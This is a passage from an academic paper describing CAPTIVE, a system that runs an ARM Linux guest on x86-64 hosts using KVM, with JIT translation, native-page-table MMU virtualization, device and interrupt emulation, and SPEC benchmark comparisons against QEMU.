the RealView Platform Baseboard Cortex-A8 [ARM 2011b]. This example leads to the following assumptions:
(1) We are virtualizing a 32-bit guest system on a 64-bit host system.
(2) We depend on KVM as a framework to provide access to Intel VT virtualization extensions.
(3) We utilize (but do not depend on) the address-space identifier (ASID) feature of the guest operating system to accelerate context switches.
(4) We exploit the fact that ARM page tables have similar access permissions to x86 page tables, enabling us to efficiently map MMU behavior.
Our system starts by instantiating a native virtual machine on the host, using the KVM framework. KVM is the interface to the Intel VT virtualization extensions, and starts by initializing the required structures that represent a virtual machine on an Intel processor (e.g. creating the VMCS structure, and issuing the VMXON instruction). Then, a single virtual x86-64 CPU is requested from KVM which will ultimately represent the virtual ARM processor.
This native VM is configured with physical memory that represents the physical memory provided by the guest platform—in this case, 2GB of physical memory is installed. An additional block of physical memory is also installed that contains the execution engine binary, and heap space for memory allocations and the translated code cache. The guest kernel (an ARMv7-A Linux kernel), is written into the guest physical memory at the correct location (as specified by the platform boot protocol). Finally, the virtual x86-64 CPU is configured to start up in 64-bit mode (by manipulating the virtual CPU state structure), and with the entry-point of the execution engine. The native VM is then started, and control is transferred to the execution engine running inside.
Once inside the native VM, we have full control of a bare-metal x86-64 machine, the execution engine is essentially an x86-64 kernel, with full privileged access to this virtual machine. We configure the virtual memory of the native VM in such a way as that the lower 4GB portion represents either a one-to-one mapping of guest physical memory (if the guest MMU is turned off) or the actual virtual memory mapping of the guest machine (detailed in Section 3.3). The execution engine itself resides in the high portion of virtual memory, and certain other virtual memory areas are mapped to the heap and stack.
When first started, the execution engine performs some platform initialization of the native VM, such as setting up the native (x86) page tables and the interrupt descriptor table (IDT), and eventually begins executing guest ARM code. We have already populated guest physical memory with the guest kernel we are about to execute, so execution begins from this entry-point, using JIT compilation of the guest ARM instructions to native x86-64 instructions (detailed in Section 3.2).
Any access by guest instructions to the memory of the guest machine is performed with a normal memory access, without having to translate/transform any virtual memory addresses – they are simply made to the address to which they would be made if running on a non-virtualized ARM system.
The guest platform we are virtualizing is a 32-bit platform and so any memory access can only be in the 0-4GB \(2^{32}\) range of lower virtual memory. Virtualization of a 64-bit platform is outside the scope of this article, but will require an extra layer of software indirection and is planned for future work. When an access to a particular address occurs for the first time, a page fault is generated and handled by installing a mapping of the corresponding virtual page to guest physical memory (subject to the operation of the ARM guest MMU).
External interrupts generated by devices (such as a timer device) are propagated as real interrupts into the guest system, which causes a flag to be set to indicate that
Listing 1: High-level instruction format description.
```c
// Define the MOVW instruction format: 4-bit condition, 4-bit operand, ...
ac_format<Type_MOVW> = "%cond:4 %op:4 %subop:4 %rn:4 %rd:4 %imm32:12";
// Link movt, movw instructions to the MOVW instruction format
ac_instr<Type_MOVW> movt, movw;
// Define the ARM instruction set architecture
ISA_CTOR(arm) {
// Instruction: movt, where (op = 0x3) and (subop = 0x4)
movt.set_decoder(op = 0x3, subop = 0x4);
// Assembly mnemonic
movt.set_asm("movt\[%cond\] %reg, #%imm", cond, rd, imm32);
// Instruction behavior is defined in the "movt_behavior" function
movt.set_behavior(movt_behavior);
// Instruction: movw, where (op = 0x3) and (subop = 0x40)
movw.set_decoder(op = 0x3, subop = 0x40);
// Assembly mnemonic
movw.set_asm("movw\[%cond\] %reg, #%imm", cond, rd, imm32);
// Instruction behavior is defined in the "movw_behavior" function
movw.set_behavior(movw_behavior);
}
```
Listing 2: Semantic description of the behavior of the movt and movw instructions.
```c
// Instruction behavior for "movt"
execute(movt_behavior) {
uint32 orig = read_register_bank(RB, inst.rd) & 0xffff;
uint32 rn = inst.imm32 | (inst.rn << 12);
uint32 result = orig | (rn << 16);
write_register_bank(RB, inst.rd, result);
}
// Instruction behavior for "movw"
execute(movw_behavior) {
uint32 result = inst.imm32 | (inst.rn << 12);
write_register_bank(RB, inst.rd, result);
}
```
Fig. 3: Instruction formats and semantics are specified using an ArchC-like high-level architecture description language. Example showing the specification of formats (in Listing 1) and semantics (in Listing 2) of the movt and movw instructions, respectively.
native code should stop executing at the next safe point. At a minimum, a safe point is an instruction boundary, but we insert safe points at guest basic block boundaries to improve performance.
3.2. CPU Virtualization
Same-architecture virtualization is easily supported by modern processors that include hardware support for virtualization. Technologies such as Intel VT and AMD-V allow guest code to run directly on the host processor, without modification or instrumentation for maximum performance. Certain privileged operations (such as changes to control registers, and TLB invalidations) are trapped by the host CPU and handled by a hypervisor (for example KVM).
This virtualization is trivial in the same-architecture case, because both the guest and the host have the same instruction set architecture (ISA) and are therefore binary compatible. However, this presents a problem for cross-architecture CPU virtualization, as the ISAs are different, and completely incompatible.
In a traditional full-system simulator, techniques such as interpretation or dynamic binary translation (DBT) are used to virtualize the guest ISA on the host ISA, the former being straightforward to implement, and the latter being recognized as one of the fastest ways [Ung and Cifuentes 2000; Ebbing et al. 2001; Bellard 2005] to emulate guest instructions on a host machine. Emulation of guest instructions is a necessity for cross-architecture virtualization, and techniques for doing so have been well studied and presented in DBT improvement articles such as [Kumar et al. 2005; Guha et al. 2010].
Our approach to instruction emulation is based on a basic block just-in-time (JIT) compiler engine, which takes guest basic blocks discovered at runtime, and compiles them into corresponding host basic blocks. Block compilation is synchronous to the execution of the guest system, and occurs on-demand when a translation for a particular guest basic block is not available. Generated host code is stored in a code cache, for later use. This is similar to the approach taken by QEMU, except for two important differences: (1) we generate code independent of the virtual address of the guest basic block, and (2) the JIT compiler in CAGE lives inside the native virtual machine as part of the execution engine.
QEMU has implemented an advanced caching strategy that initially uses a fast first-level cache indexed by virtual address to look up the code associated with a guest basic block, which is invalidated when page mappings change. As basic-blocks are translated for specific virtual addresses, the virtual PC may be constant-folded into the translations. However, the translation cannot be re-used if the same physical address is mapped to different virtual addresses. To handle this situation, when a miss occurs in the first-level cache, a second-level cache that is indexed by virtual PC, physical PC and memory access flags is consulted. If this cache misses, then the guest basic block is translated. This results in a guest basic block being translated for each distinct virtual address mapping. In contrast, CAGE always indexes the code cache by physical PC, and translates code in a way that is independent of its virtual address, meaning we can re-use the same translation for multiple virtual addresses.
The JIT compiler is generated from a high-level instruction description, where instruction formats are defined in an ArchC-like domain specific language (DSL) [Azevedo et al. 2005], and the semantic behaviors are specified in a C-like DSL. In an offline pass, this architecture definition is parsed, and a high-speed instruction decoder and instruction IR generator are produced, which are then used by the execution engine to compile guest code.
Listing 1 shows an extract of an instruction-format description from our ARMv7-A model, which is used to generate an instruction decoder. Line 2 contains a bit-level representation of the instruction format, and line 5 declares two instructions (movt and movw) that conform to this pattern. Lines 10 and 17 further specialize the pattern, specific to the two instructions, by placing constraints on the values of the fields defined in the instruction format. Lines 12 and 19 assist debugging by producing a disassembly format for the instructions, in a printf-style declaration. Finally, lines 14 and 21 attach semantic behaviors to the instructions. Listing 2 shows the C-like DSL that describes the behaviors of the corresponding instructions. These descriptions are fed into an offline generator, which produces a fast instruction decoder, and a low-level intermediate representation (IR) emitter. The instruction decoder is used by the execution engine to decode guest basic blocks. The IR emitter is called for each decoded instruction, which produces a sequence of low-level IR instructions.
Listing 3: ARM guest basic block
```assembly
1 ldr r3, [r4] // Load value from memory
2 cmp r3, #0x10000000 // Compare value to constant
3 movcs r0, #1 // Set r0 to 1, if carry flag
4 bcs 5412dc // Branch if carry flag
```
Listing 5: x86 host basic blocks
```assembly
1 mov 0x10(%rdi),%eax // Load value from memory
2 mov (%rax),%eax // Load value from memory
3 mov %eax,0xc(%rdi) // Store value in r3
4 sub $0x1000000,%eax // Compare to constant
5 setae 0x140(%rdi) // Read carry flag, and branch
6 seto 0x143(%rdi)
7 sete 0x141(%rdi)
8 sets 0x142(%rdi)
9 lea 0x8(%r15d), %r15d // Increment PC
10 cmpb $0, 0x140(%rdi)
11 jnz 1f // Skip if not carry
12 movl $0x1,%r15d // Set r0 to 1
13 lea 0x8(%r15d), %r15d // Increment PC
14 lea -0x1d8(%r15d),%eax
15 and $0xffffffff,%eax
16 mov %eax,%r15d // Update PC to branch target
17 jmp 2f
18 lea 0x8(%r15d), %r15d // Increment PC
19 // Epilogue
20 //
```
Fig. 4: Example inputs and outputs during the JIT compilation phase of CPU virtualization. ARM guest code is initially translated to an internal representation for optimization, before x86 host code is generated and emitted.
3.2.1. Native Code Production. Our execution engine compiles guest basic blocks at a time, but will extend to a trace-based approach if the branch targets are static and land on the same guest memory page. Guest basic blocks are terminated at page boundaries for memory protection purposes. Normal control flow out of a block is optimized utilising techniques from [Spink et al. 2014], which includes directly chaining to other basic blocks that are part of the same memory page to avoid costly returns to the main execution loop. If a translation does not exist, or the destination does not live on the same page, control is returned to the main execution loop, which will then handle the situation accordingly. We dedicate an x86 host register (%r15d) to tracking the guest PC, which significantly improves performance by avoiding an increment to a memory location (i.e. the emulated guest register file) on each instruction.
As each instruction is being translated to a sequence of IR instructions, we employ the partial evaluation technique described in [Wagstaff et al. 2013] to constant-fold values known at compilation time into the IR. This technique also allows us to evaluate control flow within an instruction that can be resolved at compilation time too, i.e. control flow that depends on values which are constant.
After producing IR that represents the basic block being translated, we then perform some basic optimization passes (such as liveness analysis, control flow optimization and dead code elimination) before performing a linear-scan register allocation pass. After allocating registers, we perform some final optimizations (such as register value re-use and dead code elimination) and then forward the IR to the instruction lowering pass which translates IR instructions into corresponding host instructions.
Although there are existing JIT compilers, we choose to implement our own JIT compiler for three main reasons:
1. It is not feasible to use compilers such as GCC and LLVM with our system, because they have dependencies on external libraries, such as libc for example. The JIT compilation is performed inside the native VM, which is not running an operating system and does not have a C library.
2. Compilers such as GCC and LLVM are too slow to be used as JIT compilers [Brandner et al. 2009], as they would introduce an unacceptable amount of compilation latency. Our JIT is specialized for fast dynamic binary translation, much like TCG in QEMU.
3. Existing JIT compilers, e.g. TCG in QEMU, are not well suited for automatic re-targeting from a high-level architecture description and would require additional modifications to support bare-metal code generation.
Listing 3 shows an example ARM guest basic block that is encountered during the Linux kernel boot process. The IR emitter iterates over this block and after an optimization pass produces the IR shown in Listing 4. Finally, a quick template-based lowering pass produces the native x86 machine code shown in Listing 5.
It can be seen here that multiple host basic blocks are produced from a single guest basic block. In this example, this occurs because of a predicated ARM instruction (movcs) that may or may not be executed, depending on the current state of the flags. Since we do not class predicated instructions as basic block terminators, additional control flow is required to account for this.
3.2.2. Exploitation of Hardware Features. Given that we are operating in a bare-metal environment, we have full control of an x86 machine and so exploit our ability to use privileged instructions and access normally privileged features to generate efficient native code. Furthermore, we exploit our ability to switch the virtualized CPU into and out of privileged mode (ring 0 in x86 terminology) so that we can execute ARM guest code that usually runs in ARM user mode in x86 user mode, and ARM guest code that usually runs in ARM system mode in x86 privileged mode. This enables us to utilise the user/kernel memory protection available in x86 page tables, by mapping it to the corresponding ARM page table permissions. This is something that a user-space system like QEMU cannot do, as it is constrained by the host operating system.
We implement fast mode switching in x86 by using the syscall and sysret instructions, which provide efficient means of transitioning between user and privileged mode. We make use of the general-purpose segment register FS to point to a per-CPU data structure, which contains the state of the emulated ARM CPU, and also the GS segment register for efficient user-mode emulated memory accesses as described in Section 3.3.3.
We utilise the x86 call gate mechanism for invoking functions from user mode that require kernel mode permissions. This is an alternative to the slower software-interrupt based mechanism (i.e. using the int instruction).
3.2.3. Code Cache. In order to improve execution performance, translated guest basic blocks are kept in a code cache, indexed by physical address. The benefit of using physical addressing is that if the guest page tables are invalidated, we do not need to invalidate any compiled code. In fact, the only time we have to invalidate code is in the presence of self-modifying code, or more generally when a page that has previously been executed is written to. We detect this occurrence by marking (physical) pages that have been executed with a flag, and protecting those pages from being written to. When a memory fault occurs because of a write, and the page has been flagged, all cached code corresponding to that page is invalidated. If the memory fault was to an address...
A memory access (1) is performed as a single native instruction, which when accessing a virtual address for the first time will cause a page fault in the Native VM. The native page fault handler will (2) consult the guest MMU implementation, to determine if the mapping is valid, then either (3) fill in a native page table entry, or (4) perform a non-local jump from the page fault handler back to a safe point to invoke platform specific memory fault handling. On the page that was currently executing, we return to the main execution loop via a non-local jump, since we cannot return to cached code that represents instructions that were potentially modified.
### 3.3. MMU Virtualization
One of the most important parts of full-system virtualization is the faithful emulation of the memory management unit (MMU), which if implemented incorrectly will lead to an unusable system, and if implemented poorly can lead to severe performance penalties. Hardware extensions for same-architecture virtualization provide accelerated means of virtualizing the MMU of a guest machine on the host, but a problem arises when virtualizing a guest with a different architecture. As described in the motivating example (Section 1.1), the MMUs between two different architectures behave quite differently, and traditional full-system cross-architecture virtualization uses a (correct, but slow) software MMU implementation to emulate this subsystem. Thus, much work has been done [Wang et al. 2015; Chang et al. 2014; Hong et al. 2015] in the area of software MMUs to reduce the translation penalty and hence increase overall throughput of the virtualization system.
Fundamentally, the function of the MMU is to translate a virtual address to a physical address, applying any permissions that may be defined for that access. Usually, this mapping is represented with page tables, with various levels of indirection to suit the granularity of the mapping. Full-system virtualization requires that every instruction that accesses virtual memory is subject to the behavior of the MMU. For the same-architecture case, memory instructions are mapped one-to-one, and the hardware extensions take care of performing the virtual-to-physical translation and permissions checking, but for cross-architecture virtualization, each memory access must be emulated in such a way as to perform the translation and permissions checking subject to the behavior of the guest platform.
Software approaches when faced with a memory access (in the base case), will traverse the guest page table to resolve the physical address, and check that the access satisfies the permissions imposed by the translation. These accesses will subsequently speed up by introducing a software cache, much like a software translation lookaside buffer (TLB), so that future memory accesses do not incur a penalty of a costly page table walk. When the guest page tables change, the software TLB will be flushed, and the process will start again.
Since the native VM is a bare-metal environment, we can take full control of the native MMU, and use it to reflect the mappings of the guest, allowing us to use unmodified guest virtual addresses, and to emulate the access with a single native instruction.
Definition 3.6 (Native MMU). The native MMU is the MMU that is part of the Native VM. In this example, the MMU is an x86-64 MMU, which has a 4-level hierarchy.
Definition 3.7 (Native Page Table Entry). A native page table entry is an entry in the page table of the native MMU.
Definition 3.8 (Guest MMU). The guest MMU is a (software) implementation of the MMU that is part of the guest machine. In this example it is an implementation of an ARMv7-A MMU. It is implemented as a service that takes a virtual address, and returns either success (along with the corresponding physical address and a bitmask of allowed permissions), or failure (along with the type of failure).
Our approach to cross-architecture virtualization of the MMU is to present the lower 4GB (i.e. virtual addresses 0x0 to 0xffffffff in the native VM’s 48-bit address space) of virtual memory to the execution engine, as the 4GB (2^32) of virtual memory required for our 32-bit guest machine (see Figure 7). This area is now an exact 1:1 mapping of guest virtual addresses to native VM virtual addresses. Figure 5 shows how the various components work together. When we virtualize a memory access from the guest (whether a load, store or fetch), we perform that access on the unmodified memory address directly, which will of course (for the 32-bit system we are virtualizing) lie in the lower 4GB region. The first time a memory address is accessed, it will cause a page fault inside the native VM, and at this point we consult the software implementation of the guest’s MMU. The response is either the corresponding guest physical address, or a fault condition. If the access is to be allowed, we then populate the x86 page table of the native VM with an entry that maps the associated virtual page to the corresponding physical page of the guest, and return to executing code. Further accesses to this page will now go via the native VM’s page tables, and hardware TLB.
To improve performance, when the guest MMU is asked for the translation, it also returns the allowed permissions associated with that mapping (such as read/write and user/privileged), so that the native VM’s page tables can be pre-populated with this information. This means that a read to a page that is also permitted to be written to will only fault once—the first time it is accessed.
On a 64-bit x86 machine, there are four levels of page tables, which we will refer to as L4 thru L1. The first entry in the (top-level) L4 page table represents the lower 0–512GB of virtual memory, and we reserve this region to contain the entire 4GB virtual address space of the guest, starting at virtual address 0x0. This means we can apply permission flags to the first entry in this table, to control the entirety of the 4GB virtual address space. If the guest alters the content of their page tables, just as on actual hardware they are required to issue a TLB flush instruction, which we intercept and use as a signal invalidate the native VM’s page tables. As the native VM has a four-level page table, we deny access to the entire lower 4GB area of virtual memory, by clearing the page present flag in the first entry of the L4 page table, then perform a native TLB flush. This makes invalidations very quick to perform. The next time
Fig. 6: The top-level (L4) page table remains static, and the pointer to the L3 page tables (1) are tracked with the ASID (2).
Fig. 7: Native VM Physical and Virtual memory organization. We reserve the bottom 512GB to contain the entire 4GB virtual address space.
A memory access happens, a page fault will occur, and the page tables will be rebuilt. This invalidation technique also applies when the guest changes the value of their own page table base pointer, which involves an implicit TLB flush.
An important corner-case to consider is the behavior of the system when an unaligned memory access spans a page boundary, e.g., a 32-bit memory access to the last byte of a page. This situation is handled automatically by CAPTIVE, as the page faulting behavior between the guest and host systems is identical.
3.3.1. Address-space Identifier. Usually, changing the page table base pointer naturally causes a TLB invalidation, as the previous mappings are no longer valid. However, since the page table base pointer is changed on every context switch, this can lead to a severe performance penalty, especially in our virtualization environment when the native page tables need to be rebuilt each time. An approach to reduce this penalty is described by [Wang et al. 2015] as “Private SPT”, which utilizes the ARM address space identifier (ASID) register to quickly switch between pre-populated mappings.
We take inspiration from this approach, and use the ASID register to point to multiple L3 mappings, as shown in Figure 6. The top-level native page table (the L4 page table) remains static, but when the current ASID is changed by the guest, we replace the base pointer to the L3 page table (in the first slot of the L4 page table), and invalidate the native TLB. As previously described, the first entry in the L4 page table is used solely for the purpose of managing guest virtual memory, so even though it represents an address space >4GB, it simplifies both our fast invalidation technique, and changing the corresponding page tables that represent the guest 4GB address space.
If this is the first time the ASID has been seen, the normal page-fault lazy resolution process will occur as described previously, but if the ASID has already been encountered, the page tables already contain mappings ready to be used (unless they were explicitly invalidated), without incurring any page faults.
We trap the special invalidation instructions issued by the guest to invalidate TLB entries by ASID, and use these signals to invalidate the page tables that we have associated with that particular ASID.
This optimization only holds for guest platforms that have the concept of an ASID, and guest kernels that actually use it (a limitation also encountered by [Wang et al. AC...
Listing 5: ARM input assembly
1; Read memory at address PC + 92 + 8
2; (0x100a0) into r0
3ldr r0, [pc, #92]
Listing 6: CAPTIVE output assembly.
1; Read memory from PC + offset + 8
2mov 0x64(%r15d), %eax; Store into r0
3mov %eax, (%rdi) ; Increment PC
4lea 0x4(%r15d), %r15d
5mov $0x100a0,%ebp ; Prepare memory address
6mov %ebp,%rdi
7mov %ebp,%esi
8shr $0x5,%rdi
9and $0xfffffc03,%esi
10and $0x1fe0,%edi
11lea 0x2c18(%r14,%rdi,1),%rdi
12cmp (%rdi),%esi ; Check cache tag
13jne 0x7f4d682a718f ; Cache-miss?
14add 0x10(%rdi),%rsi
15mov (%rsi),%ebp ; Read memory
16mov %ebp,(%r14) ; Store into r0
Listing 7: QEMU output assembly.
1mov $0x100a0,%ebp ; Prepare memory address
2mov %ebp,%rdi
3mov %ebp,%esi
4; Calculate cache entry address
5shr $0x5,%rdi
6and $0xfffffc03,%esi
7and $0x1fe0,%edi
8lea 0x2c18(%r14,%rdi,1),%rdi
9cmp (%rdi),%esi ; Check cache tag
10; Restore destination address
11mov %ebp,%esi
12jne 0x7f4d682a718f ; Cache-miss?
13mov %ebp,%esi
14mov %ebp,(%r14) ; Store into r0
Fig. 8: An example of a PC-relative load instruction being translated by CAPTIVE and QEMU. CAPTIVE tracks the (virtual) PC in %r15d, and emits three instructions for this memory access whereas QEMU emits 13 instructions that involve interrogating its address cache.
2015). However, it is possible to extend this approach to track the guest platform’s page table base pointer, and maintain a set of mappings for “seen” page table bases.
3.3.2. Native VM Memory Layout. As we are operating inside a native virtual machine, we have full control over the virtual machine’s virtual memory and so we exploit this opportunity for manipulating the virtual page mapping arbitrarily. We establish page mappings for the execution engine and heap/stack data areas, and mark these entries as global, so that they are not flushed from the TLB when the TLB is flushed. We provide a one-to-one mapping of guest physical memory, in the virtual memory space so that we can quickly access data by guest physical address. This is useful for the emulated MMU, as it uses physical address pointers to traverse the guest page tables.
3.3.3. Secondary Guest Virtual Memory. The secondary guest virtual memory mapping is part of an optimization for handling ARM ldrt and strt instructions, which perform memory accesses subject to user-mode memory permission checking, whilst executing in kernel mode. These instructions are notoriously difficult to optimize [Ding et al. 2012], as they invoke behavior that must be specially handled. As they are defined, there is no direct mapping of this behavior from an ARM system to an x86-64 system, however to maintain performance we employ a second region of guest virtual memory to optimize these accesses specially.
Since it is known at JIT compilation time that a particular memory access has these special semantics, we can emit an optimized mov instruction, that offsets the calculated memory address against a base pointer held in the x86 GS register. This base pointer points to the base of the second virtual memory region, and so all memory accesses are made into this second region. Then, when a page fault occurs we apply the appropriate semantics when faulting the page in. Whilst this may sound like a guest architecture-specific optimization, it is implemented independent of the target architecture, and so may be used (or not) by any platform that requires it.
3.3.4. Comparison to QEMU. QEMU uses software-based MMU virtualization, and Listing 5 shows an example ARM instruction that accesses memory, from a PC-relative offset. This instruction loads a value from memory, residing at the address PC + 92 + 8. Listing 7 shows the QEMU generated native code for this single instruction, which
Hardware Accelerated Cross-Architecture Full-System Virtualization
involves accessing a software cache, with a branch to a handler if a cache miss occurs. Our output code (shown in Listing 6) consists of performing the memory access directly on memory itself, using the unmodified value from the guest instruction and access permissions.
The other slight difference is the optimization performed for a PC-relative lookup. In QEMU’s case, it can constant-fold the address of the memory access (0x100a0) into the generated assembly because it generates basic blocks for virtual pages. However, we generate basic blocks for physical pages, which may be accessed by any virtual address, and hence must read the PC register each time we wish to use it. As we map the guest PC to a host register, this improves code quality and adds virtually no performance penalty. This improvement in code quality is not because of an improvement in the quality of the JIT itself, but rather we have the ability to make memory accesses in this fashion.
3.4. Device Virtualization
In order to faithfully emulate a guest platform, we must also emulate the devices present on that platform, e.g. timer devices, interrupt controllers, I/O devices, etc. In order to do this, the hypervisor contains software emulations for the various devices that make up the platform. On a real guest platform, these devices are accessed by the guest through the memory subsystem; they are mapped into the physical memory space (and then mapped by the guest operating system into the virtual address space) and device registers are written to and read from with normal memory accesses. This approach to device communication increases flexibility (e.g. device accesses are subject to MMU translations and permissions checks), and reduces complexity for operating systems, but adds a layer of complexity to virtualization frameworks wishing to emulate devices in a particular platform, as they must detect these accesses to device memory, and handle them accordingly.
As our device implementation lives in the hypervisor (i.e. outside of the native VM), memory accesses by the guest must be trapped back to the hypervisor, so that they can be forwarded to the particular device being accessed. The most straightforward way to accomplish this with our infrastructure is to use the memory-mapped I/O (MMIO) feature of KVM to intercept memory accesses to regions of guest physical memory that correspond to devices, and handle them accordingly. This approach works well, but suffers from a severe performance penalty, as every access to a device must perform a costly VM exit, then the native guest instruction must be emulated by the hypervisor to fill in the data that was read, or to extract the data that is to be written.
Device accesses in a full-system occur quite frequently. For example, a Linux system configured with a 100Hz timer will be interrupted 100 times a second, and each interrupt requires the guest to interrogate the interrupt controller device to ascertain the cause of the interrupt, then the timer device to read timing related data, then write to the devices to acknowledge and complete the interrupt.
Another approach is to make a hypercall using port-based I/O (PIO) instructions, which have slightly faster VM exit sequences, but this suffers from a fundamental problem: detecting a device access. As mentioned previously, a device access to a memory-mapped device is indistinguishable from a normal memory access at the instruction-level—it is performed with a normal memory access instruction (e.g. ldr in ARM). Therefore, we need a way to detect access to device memory, and trap to the host using a faster hypercall mechanism. Since we are in control of the native VM MMU, and we know the locations of devices in physical memory (this is part of the platform configuration), we can simply mark any device page as inaccessible, so that every memory access traps in the native VM, rather than in the hypervisor.
Fig. 9: An illustration of the fast device access operation, using synchronization barriers. When a device access is made (1), barrier 1 is entered by the guest (at which the host is already waiting) and the host performs the access on the emulated device (2a). Meanwhile, the guest waits for the host to complete the operation (2b). Then, when the access is complete, barrier 2 is entered by the host and execution by the guest continues (3).
Now that we are receiving a page fault in the native VM (which is faster than trapping to the hypervisor), there are two approaches to take:
1. Translate the device access into a (slightly) faster PIO access, which still results in a VM exit, or
2. use a message-passing implementation to communicate with the hypervisor, avoiding a VM exit.
We wish to avoid VM exits at all costs, as they introduce a significant amount of overhead [Ott 2009]. A VM exit with Intel VT and KVM requires storing the entire state of the virtual machine, and performing a context switch back to user-space code. Returning to the VM (a VM entry) involves restoring this saved state.
For this reason, we implement (2) and once the native VM receives a page fault to a device memory page, we communicate with a hypervisor thread using a synchronization barrier system. This avoids a costly VM exit, as the virtualized CPU is simply spinning on a barrier, waiting for a response from the hypervisor. This sequence is shown in Figure 9. When a device access is to be made Fig. 9 (1), a data structure is prepared by the execution engine inside the native VM, and a synchronization barrier is entered. A hypervisor thread (which is already waiting on this barrier) resumes execution and deals with the device access request Fig. 9 (2a). Meanwhile, the guest waits on a second barrier Fig. 9 (2b) whilst the hypervisor is servicing the request, and when the request is complete, the hypervisor writes the result back into the data structure, and enters the barrier. This causes the execution engine to resume execution Fig. 9 (3), extracting the necessary data from the request structure. The guest cannot proceed until the hypervisor has signalled that the data has been processed by the emulated device, and this is the reason for the second barrier.
3.4.1. Device Implementations. Unlike traditional same-architecture virtualization, where the possibility exists to para-virtualize hardware that exists on the host for use by the guest, or simply pass-through real hardware devices (e.g. using Intel VT-d) this same kind of mapping does not exist for cross-architecture virtualization as it is unlikely that there are any 1-to-1 compatible devices available on the host system. Therefore, all guest platform devices are implemented in software, which faithfully emulate the behavior of the device they represent. An example of a device we implement in software is the ARM PrimeCell SP804, which is a two-channel timer device. This
device is configured and interrogated by the guest through registers that are memory mapped. It is also capable of raising interrupts when a timeout occurs, depending on the mode of operation of the timer.
In the future, we hope to map similar devices (e.g. timer devices, etc) to existing hardware devices. Even though their interfaces may be incompatible, it may be possible to configure the behavior of the devices in similar ways and avoid having to use full software implementations of the device.
3.4.2. Device Interrupts. Platform devices may raise interrupts to indicate that an event has occurred, such as a timer has timed-out, or data is ready to be read. On a physical platform, an interrupt controller would aggregate the individual interrupts from each device, and trigger a physical interrupt line on the CPU, to indicate that an interrupt has been raised. The CPU would enter its external interrupt handling routine, and interrogate the interrupt controller to work out which device(s) raised the interrupt. The RealView Platform Baseboard Cortex-A8 [ARM 2011b] has such a setup with an ARM generic interrupt controller (GIC), that receives interrupts from devices and posts these to the CPU. We implement the GIC in software, but post real IRQs to the guest system, when the interrupt controller triggers a physical interrupt line on the CPU.
3.5. IRQ Virtualization
As described in the previous section, emulated devices may issue interrupts to the guest system by means of an interrupt controller. For the platform we are virtualizing, the interrupt controller is an ARM generic interrupt controller (GIC), which aggregates interrupts from other platform devices, and presents them to the CPU.
Fundamentally, the CPU has a single physical interrupt line that is raised when an interrupt is pending, and lowered when the interrupt is acknowledged. This interrupt line is toggled by our emulated GIC, and is visible to the virtualized CPU. On the rising
edge of the interrupt line, we inject a native IRQ into the guest machine, to inform it that the line has been raised. These interrupts of course happen asynchronously, e.g. a timer device will run as a separate thread on the host machine, and when its timeout occurs, it will trigger its own interrupt line, propagating through the interrupt controller and into the guest. The ideal situation would be to immediately invoke the platform-specific interrupt handling code, on the rising edge of the interrupt line, but this is not feasible for two reasons:
1. The guest may not be running in native code (it may be handling a page fault) and,
2. single guest instructions are compiled to multiple host instructions, which means the interrupt may happen part-way through the emulation of a guest instruction.
This is unacceptable, as guest instructions are not necessarily re-entrant and may have partially changed the state of the guest system mid-way through. Guest instructions need to appear to be atomic, and so they must have completed before we can divert to the interrupt handling behavior.
We solve this by setting an interrupt pending flag when in the native IRQ handler, to indicate that the emulated interrupt line has gone high. This flag is checked by native code at the end of a guest basic block, before it chains to the next. If the flag is set, it is cleared and we leave native code to perform the guest platform behavior associated with servicing an interrupt. This defers asynchronous interrupt checking to basic block boundaries, which significantly improves performance over checking on instruction boundaries.
### 4. EXPERIMENTAL EVALUATION
In this section, we evaluate the performance of our system using industry standard benchmarks and compare CAPTIVE to the state-of-the-art cross-architecture virtualizer QEMU. We use the SPEC CPU2006 integer benchmark suite, as it is widely considered to be representative of real-world workloads. For our key results, we are using the reference input set, which requires a minor modification to the guest platform to increase the available guest physical memory for running the benchmarks. The amount of physical memory presented to the guest system is independent of the amount of physical memory available on the host system, as it is defined by the platform being emulated. We implement a RealView Platform Baseboard Cortex-A8 [ARM 2011b] platform, which specifies only 512MB of physical memory [ARM 2011a], but this is insufficient for running the reference input set of the benchmark suite. To overcome this limitation, we artificially increase the amount of physical memory in the guest platform to 2GB in both CAPTIVE and QEMU, enabling the benchmark suite to run.
#### 4.1. Experimental Setup
The platform that we are virtualizing is a RealView Platform Baseboard for Cortex-A8, which is fully supported by QEMU. We are running a vanilla ARM Linux 4.3.0 kernel, with the default configuration for the platform, except for the addition of a VirtIO block device to provide storage to the guest and an increase in physical memory as
---
Table I: Host Machine Description
<table>
<thead>
<tr>
<th>System</th>
<th>Dell™ PowerEdge™ R610</th>
</tr>
</thead>
<tbody>
<tr>
<td>Architecture</td>
<td>x86-64</td>
</tr>
<tr>
<td>Cores/Threads</td>
<td>4/8</td>
</tr>
<tr>
<td>Frequency</td>
<td>Intel™ Xeon™ E5-1620</td>
</tr>
<tr>
<td>L1-Cache</td>
<td>1 x 4 x 32kB (I$ & D$)</td>
</tr>
<tr>
<td>L2-Cache</td>
<td>1 x 4 x 256kB</td>
</tr>
<tr>
<td>L3-Cache</td>
<td>1 x 10 MB</td>
</tr>
<tr>
<td>Memory</td>
<td>16 GB</td>
</tr>
</tbody>
</table>
---
(110x716) A:18 T. Spink et al.
4.2. Key Results
Our key results compare the performance of our system to QEMU version 2.4.0. Figure 11a shows the relative speed-up of CAPTIVE, compared to QEMU. In all cases we outperform QEMU, and on average by a factor of 2.5×. Figure 11b shows the absolute runtime of each benchmark in seconds.
Of interest is 429.mcf, which gains a performance improvement of 5.88×. This is due in part to the benchmark responding well to our optimizing DBT system, which produces highly optimal runtime code based on the dynamic behaviour of the benchmark, versus the static optimization that is performed at compile time.
Only two out of twelve benchmarks show speed-ups less than 1.5×, yet still outperform the baseline QEMU. Given the acceptance of SPEC as a realistic workload, there are multiple characteristics that can affect simulation performance, and it is clear that the range of benchmarks exercise the simulation system in numerous ways, making it difficult to pin-point any particular feature that causes fluctuations in performance.
4.3. Comparison to Existing Techniques
One of the most recent efforts to improve memory address translation performance in full-system simulators is in [Wang et al. 2015] (herein referred to as HSPT), which
describes a practical implementation of an *embedded shadow page table*, using Linux system calls (specifically `mmap`) to create an efficient guest-virtual to host-physical mapping similar to our own approach. In order to compare CAPTIVE to the HSPT implementation, we have extracted the published results from [Wang et al. 2015] and implemented the same experimental setup, by comparing the performance of CAPTIVE to the same version and configuration of the Android Emulator as used by HSPT. This enables us to make a relative performance comparison against the same baseline, even in the presence of different host machines.
